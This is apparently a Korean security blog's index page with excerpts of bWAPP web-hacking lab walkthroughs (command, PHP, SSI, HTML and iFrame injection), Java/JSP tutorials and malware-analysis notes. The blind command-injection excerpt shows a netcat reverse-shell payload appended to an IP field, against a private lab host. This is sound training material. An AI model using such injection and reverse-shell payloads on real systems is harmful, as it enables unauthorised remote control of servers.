bWAPP 11. Server-Side Includes (SSI) Injection
·
Web hacking
Server-Side Includes (SSI) Injection Server-Side Includes (SSI) Injection SSI(Server-Side Includes)는 웹페이지 내에서 주로 방문자 수를 세거나 홈페이지의 로고를 수정하는 간단한 기능을 추가할 때 사용됩니다. - Low 레벨 - First name과 Last name이 존재하는 것을 확인 값을 입력하면 ssi.shtml 페이지를 호출하는데 SSI 기능을 사용한다는 사실이 확인가능하다. 자신의 ip를 출력해주는것을 확인할 수 있다. vi ssii.php ssii.php를 참조하고있으므로 해당 php의 소스코드를 봤다. 따로 필터링은 존재하지않고 있다. - Low 레벨 결과 및 입력 값 1 - ls 명령어가 출력되는 것을 확인이 가..
bWAPP 10. PHP Code Injection
·
Web hacking
PHP Code Injection 웹 서비스 개발 과정 중 Server Side Langage 등을 include 하는 과정에서 생길 수 있는 취약점 이다. PHP Code Injection 은 exec() 함수나 eval()함수를 사용한 경우 세미 콜론(;) 을 사용하여 다른 함수를 실행하는 취약점이 있다. (해당 글자 출처 https://security-story.tistory.com/26 ) - Low 레벨 - PHP Code Injection 해당 레벨을 진행한다. message 버튼을 클릭하게 되면 http://192.168.1.82/bWAPP/phpi.php?message=test 해당 링크를 참조하는 것을 확인할 수 있다. test를 출력하고 있다. http://192.168.1.82/bWA..
bWAPP 9. OS Command Injection - Blind
·
Web hacking
OS Command Injection - Blind - Low 레벨 - vi commandi_blind.php ping 명령어가 실행되는 점을 소스코드에서 확인이 가능하다. 이번에도 IP를 입력 시에 PING 명령어가 동작하게된다. [ 공격자 ] nc -lvp 7777 netcat을 사용하여 7777 포트의 어디서든지 리스닝할수 있게 명령어를 진행한다 [ 공격할 곳(bWAPP) ] 192.168.1.181; nc 192.168.1.82 7777 -e /bin/bash 칼리에서 bWAPP 해당 서버의 쉘을 사용할 수 있게 되었다. - Low 레벨 결과 및 입력 값 - [ 공격자 ] nc -lvp 7777 [ 공격할 bWAPP 사이트 ] 192.168.1.181; nc 192.168.1.82 7777 -e ..
bWAPP 8. OS Command Injection
·
Web hacking
OS Command Injection os command Injection - 악의적인 명령 삽입, 서버로 전송되는 요청 정보에 악의적인 명령을 삽입하여 불필요한 동작을 실시하거나, 서버/시스템/db 중요 정보를 획득할 수 있는 취약점이다. - Low 레벨 - vi commandi.php 쉘명령이 실행되는 소스코드를 확인가능하다. lookup을 클릭할 경우 nslookup 명령어가 실행되는 것을 확인 명령어를 이어붙여 해당 단계를 실습 | : 앞에서 실행한 명령어 출력 결과를 뒤에서 실행하는 명령어 입력값으로 대체 ; 한개의 라인에 여러개 명령어를 수행해줌 && : 첫번쨰 명령어가 성공되면 다음 명령어를 수행함 ( 실패 시 다음 명령어 실행 x) || : 첫번째 명령어가 실패해도 다음 명령어를 수행함 (..
bWAPP 7. Mail Header Injection (SMTP) (진행 예정)
·
Web hacking
bWAPP - 6. LDAP Connection Settings (진행 예정)
·
Web hacking
bWAPP - 5. iFrame Injection
·
Web hacking
5. IFrame Injection iFrame은 HTML 문서 안에서 또 다른 HTML 문서를 출력하는 태그로 사용되며, 어느 위치든 상관없이 인젝션 공격을 할 수 있습니다. iFrame 인젝션은 독립적으로 만들 수 있어 HTML 인젝션 중에서도 공격에 자주 사용되며, 주로 악성 URL을 삽입한 후 사이즈를 0으로 설정하여 숨기는 방법을 사용합니다. - Low 레벨 - iFrame Injection 실습페이지의 화면 입니다. 'iframei.php' 페이지를 보시면 GET 방식으로 데이터를 전송하기 때문에 URL에 변수를 노출합니다. http://192.168.1.82/bWAPP/iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250 소스코드 확..
bWAPP - 4. HTML Injection - Stored (Blog)
·
Web hacking
4. HTML Injection - Stored (Blog) - Low 레벨 - Html injection이 잘 주입되는지 확인한다. - Low 결과 및 입력 값 1 - qfqfqf - Low 결과 및 입력 값 2 - Input 태그도 저장이 가능한지 확인했고, html injection stored에 성공 하였다. - Medium 및 High 레벨 - vi htmli_stored.php case0의 해당 함수인 sqli_check_3 함수가 정의되는 곳에 가 어떤 필터링이 존재하는지 확인한다. 또한 난이도 Medium과 High는 다음과 같이 entry에 들어가는 내용을 필터링을 진행하고있다. xss_check_3가 무슨일을 하는지 찾아가봅시다. vi functions_external.php xss_c..
bWAPP - 3. HTML Injection – Reflected (Current URL)
·
Web hacking
HTML Injection – Reflected (Current URL) - Low 레벨 - 페이지에 접속 시 Yout current URL:http://192.168.37.129/bWAPP/htmli_current_url.php라는 문구가 출력된다. vi htmli_current_url.php 입력하여 소스를 관찰하자 위 내용 확인 결과 security_level에 따라 url변수가 달라진다. Low 레벨 이기떄문에 url 변수는 현재 http://[host]+url 이다. 처음 burpsuite intercept한 HTTP 요청 GET /bWAPP/htmli_current_url.php HTTP/1.1 Host: 192.168.0.29 GET 메소드가 확인 가능 그러므로 URL 파라미터 값을 통해서 ..
bWAPP - 2. HTML Injection - Reflected (POST)
·
Web hacking
2. bWAPP - HTML Injection - Reflected (POST) - Low 레벨 - 이번 레벨은 html injection post이다 vi htmli_post.php 소스코드를 한번 살펴보자 해당 소스코드도 관찰 결과 아무런 필터링이 진행되지않는다. 입력 값 - First name: qdqdqd Last name: qfqfqf Burpsuite로 intercept한다. 입력 값을 html 코드를 이용해 주입한다. - Low 결과 및 입력 값 - First name: qdqdqd Last name: qfqfqf 성공하였다. - Medium 레벨 - POST 방식의 Medium 레벨도 GET방식의 MEDIUM 레벨과 마찬가지로 필터링이 진행되고있다. vi htmli_post.php vi f..
bWAPP - 1. HTML injection - Reflected (GET)
·
Web hacking
1. bWAPP - HTML Injection - Reflected (GET) HTML Injection - Reflected (GET) -> URL에 악의적인 HTML 태그를 삽입하여 링크를 클릭한 사용자의 PC에서 HTML 태그가 실행되게 하는 공격 HTML Injection - Reflected (GET) HTML 인젝션은 코드 인젝션 공격의 하위 개념으로, 취약한 매개변수에 악의적인 HTML 코드를 삽입하는 공격입니다. 공격자는 사용자가 연결을 요청한 페이지에 HTML 태그를 삽입하여 의도하지 않은 내용을 보게 하거나 악의적인 사이트에 연결 시킬수 있습니다. HTML 인젝션 중에 반사(Reflected) 기법은 URL에 악의적인 HTML 태그를 삽입하여 링크를 클릭한 사용자의 PC에서 HTML 태..
웹 해킹 실습 - bWAPP 설치
·
Web hacking
bwAPP설치 칼리리눅스에서 bWAPP을 설치한다. wget https://sourceforge.net/projects/bwapp/files/latest/download -> mv ./download.1 /var/www/html 다운로드 받은 파일을 웹 디렉토리로 이동 -> cd /var/www/html 웹 디렉터리로 이동 -> unzip ./download 파일을 압축 해제 -> chmod 777 ./passwords ./images ./documents ./logs -> vi ./admin/settings.php (/var/www/html/bwAPP/admin/setiing.php 파일에 mysql 정보 입력) -> http://192.168.1.82/bWAPP/install.php Here 누르기 ..
jsp 로그인 페이지 만들기
·
카테고리 없음
로그인 작업을하기위해 모든사람을 로그인 화면으로 이동시키는 해제 작업을 합니다. 로그인화면으로 이동시킵니다. 실행을하면 인덱스페이지가 찾을수 없다 login.jsp 파일이없기때문에 webcontent에 새로운 jsp 파일을 만듭니다. 그뒤에 index.jsp 파일의 내용을 복사 붙여넣기합니다. 홈페이지 디자인 프레임워크인 부트스트렙을 다운합니다. https://getbootstrap.com/docs/3.3/ Bootstrap · The world's most popular mobile-first and responsive front-end framework. Preprocessors Bootstrap ships with vanilla CSS, but its source code utilizes the t..
JSP 게시판 만들기 강좌
·
카테고리 없음
시작 자바하고 환경변수 등록진행 javac로 확인 톰캣 다운을하고 C:\JSP\apache-tomcat-8.5.69\bin JSP 폴더를 하나 만든후 startup.bat 파일 실행하기 http://localhost:8080/ 으로 톰캣작동하는지 확인하깅 국내에서는 이클립스를 자주 사용한다. 이클립스 경로 적용하기 dynamic project 만든다 BBS로 이름짓기 서버가 설정이 안되있기때문에 NEW RUNTIME을 누릅니다. next를하기 아까 톰캣을 설치한 버전과 경로를 집어넣습니다. 서버를 가동시키기 위해서 피니시를 하기 프로젝트를 생성했으면 Webcontent 다양한 웹페이지를 저장해두면 그웹페이지를 브라우저로 접속을해서 내용을 볼수 있다. jsp파일만들기 jsp파일만들기 Hello world만..
자바 시작
·
카테고리 없음
프로젝트 src우클릭해서 패키지 만들기 first ctrl +n 하고 java -> class 찾고 HelloWorld 클래스 만들기 클래스이름은 무조건대문자 - HelloWorld 패키지이름은 소문자 - first main함수 체크 마지막모습 폰트수정 ctrl+d 한줄지우기 이거체크되있으면 저장하게되면 컴파일이됨 실행하는법 그럼Hello, World 출력 완료 이곳이 자바의 컴파일러 된 것 HelloWorld.java보다 jvm이 설치되있으면 한번컴파일된 class를 이용해 여러곳에서 가상머신을 이용해 돌릴 수있다.
메일 관련
·
통합 인프라 보안
Mail.kiwontech.com = 도메인 Set type=ptr 역방향조회 포인터라는 레코드 값을 조회 183.111.97.23 23.97.111.183.in-addr.arpa 역도메인 주소 역도메인은 발신할 때 필요하기 때문이다. 역도메인이 없으면 발신했을떄 수신을 안할수 있다. 역도메인 실패는 저 값이 존재하지 않는 것 전달로그 smtp오류코드를 검색하면 그거에 대한 내용이 나온다. 200,300,400,500번대 421 Server is too busy 수신서버의 일시적인 응답지연 잠시 후 메일 재 발송 421 4.3.2 Your IP is filtered by (RBL) (RBL)에 등록된 IP로 스팸인식 수신메일서버 관리자에게 스팸 해제 요청 441 4.4.1 No Answer From Ho..
java script 난독화
·
악성코드 및 포렌식
다른언어에도 동일하게 적용이된다.엔터도 하나의 데이터이다.일종의압축하기위해서html 에서 바이트를 절약하기위해서 다닥다닥 붙어서유도하는 방법 압축시킴   함수로 표현함으로써 흐름을 혼란스럽게만든다. function을 실행해서   var n 은 2이고var a는 test이고 alerta 와 alert n을 전달하는것 funtion을 하나선언해서 함수는 a()에서 실행이되는 것이여서 어렵게만든거    var a 는 funtion()var n =2var a = test  원래 이전에있던함수이지만갈기갈기찍은것입니다. var s0부터 var s13까지  이전부 왼쪽에있는 스트링들을조합해서 오른쪽에 전부 합친것입니다.실질적으로 왼쪽에있는 내용이반영되는곳은 document.write(부터이다.  문장사이사이에 var..
스크립트 난독화
·
악성코드 및 포렌식
스크립트 난독화
파워쉘 파일리스 악성코드
·
악성코드 및 포렌식
강력한 서버의 명령어이다 파워쉘은 CMD같은 역할을 하지만 서버를 제어하기위한 강력한 명령어들에대한 쉘의 기능과 프로그램을 구성할수있는 기능까지 포함되있다 윈도우에서 제공되는 모든 윈도우에는 탑재가 되어있다. 파일리스는 file less 라고 부릅니다 파일에없고 메모리에 상주하거나 다운받아서 사용하거나 파일에 존재하지않은 컨셉을 가진 악성코드 파워쉘은 스크립트이기도하고 언어이기도하다 악성코드 제작자들도 파워쉘을 다루면 악성코드를 쉽게 다룰수 있다. 일반적으로 백신에서도 탐지를 하기어려운 케이스이다. 암호화를 해두기때문에 백신이 탐지하기가 힘들다. load and delete 드로퍼는 악성코드를 가지고와서 파워쉘과 형태들을 가지고와서 실행된 이후에는 지운다 컴퓨터가 꺼질때 콜백이되서 파일로 다시쓰고 다시 ..
Citadel 악성코드 분석 3 고급 분석
·
악성코드 및 포렌식
일단인 api log에서 잘보면 write processmemory 에서 fffff가나오면 자기자신한테 쓰고있는데 자기메모리를 다시구성하는 것이다 실질적으로는 write process를 6번하고나서 그이후 내용이실행이되는 것을 보는것을 알수있다. 그러면 실질적으로는 패킹이안되있지만 패킹이 되있는 것이다 그래서 ida 로 writeprocessmemory 를 갑니다. 근데 여기서 보니까 writeprocessmemory 는 xrefs 즉 참조 레퍼런스가 존재하지않는다 그러면 어쩔수없이 올리에서 해야하는데 이런것이나오면 ida에서 분석하기가 어렵습니다. 데이터가 써진거기때문에 그래서 이곳에와서 브레이크 포인트를 걸었고 ida에서 분석하기어려운게 writeprocess 메모리를 찾지를 못하는데 실행이됬었는데 ..